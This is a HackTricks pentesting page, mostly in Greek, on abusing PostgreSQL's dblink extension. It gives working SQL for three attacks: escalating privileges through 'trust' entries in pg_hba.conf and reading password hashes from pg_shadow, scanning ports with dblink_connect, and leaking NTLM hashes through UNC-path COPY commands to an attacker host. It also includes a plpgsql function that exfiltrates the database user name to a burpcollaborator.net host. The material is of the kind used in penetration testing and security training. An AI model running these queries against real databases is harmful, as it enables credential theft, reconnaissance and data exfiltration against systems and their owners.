Δίκτυο - Privesc, Σαρωτής Θερμικών Θυρών και Αποκάλυψη Αντίκτυπου NTLM
Reading time: 4 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις επιθέσεις στο πρωτότυπο έγγραφο.
Από την PostgreSQL 9.1, η εγκατάσταση επιπλέον modules είναι απλή. Καταχωρημένες επεκτάσεις όπως το dblink
μπορούν να εγκατασταθούν με CREATE EXTENSION
:
CREATE EXTENSION dblink;
Μόλις φορτώσετε το dblink, θα μπορούσατε να εκτελέσετε μερικά ενδιαφέροντα κόλπα:
Privilege Escalation
Το αρχείο pg_hba.conf
θα μπορούσε να είναι κακώς διαμορφωμένο επιτρέποντας συνδέσεις από localhost ως οποιοσδήποτε χρήστης χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης. Αυτό το αρχείο μπορεί συνήθως να βρεθεί στο /etc/postgresql/12/main/pg_hba.conf
και μια κακή διαμόρφωση φαίνεται όπως:
local all all trust
Σημειώστε ότι αυτή η ρύθμιση χρησιμοποιείται συνήθως για να τροποποιήσει τον κωδικό πρόσβασης ενός χρήστη db όταν ο διαχειριστής τον ξεχνά, οπότε μερικές φορές μπορεί να το βρείτε.
Σημειώστε επίσης ότι το αρχείο pg_hba.conf είναι αναγνώσιμο μόνο από τον χρήστη και την ομάδα postgres και εγγράψιμο μόνο από τον χρήστη postgres.
Αυτή η περίπτωση είναι χρήσιμη αν έχετε ήδη ένα shell μέσα στο θύμα, καθώς θα σας επιτρέψει να συνδεθείτε στη βάση δεδομένων postgresql.
Μια άλλη πιθανή κακή ρύθμιση περιλαμβάνει κάτι σαν αυτό:
host all all 127.0.0.1/32 trust
Καθώς θα επιτρέπει σε όλους από τον localhost να συνδεθούν στη βάση δεδομένων ως οποιοσδήποτε χρήστης.
Σε αυτή την περίπτωση και αν η dblink
λειτουργία είναι λειτουργική, θα μπορούσατε να ανεβάσετε δικαιώματα συνδεόμενοι στη βάση δεδομένων μέσω μιας ήδη καθιερωμένης σύνδεσης και να αποκτήσετε πρόσβαση σε δεδομένα που δεν θα έπρεπε να έχετε πρόσβαση:
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
Σάρωση Θυρών
Abusing dblink_connect
you could also search open ports. If that **function doesn't work you should try to use dblink_connect_u()
as the documentation says that dblink_connect_u()
is identical to dblink_connect()
, except that it will allow non-superusers to connect using any authentication method_.
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTP server
ERROR: could not establish connection
DETAIL: timeout expired
// Accessing HTTPS server
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
Σημειώστε ότι πριν μπορέσετε να χρησιμοποιήσετε dblink_connect
ή dblink_connect_u
ίσως χρειαστεί να εκτελέσετε:
CREATE extension dblink;
UNC διαδρομή - αποκάλυψη NTLM hash
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.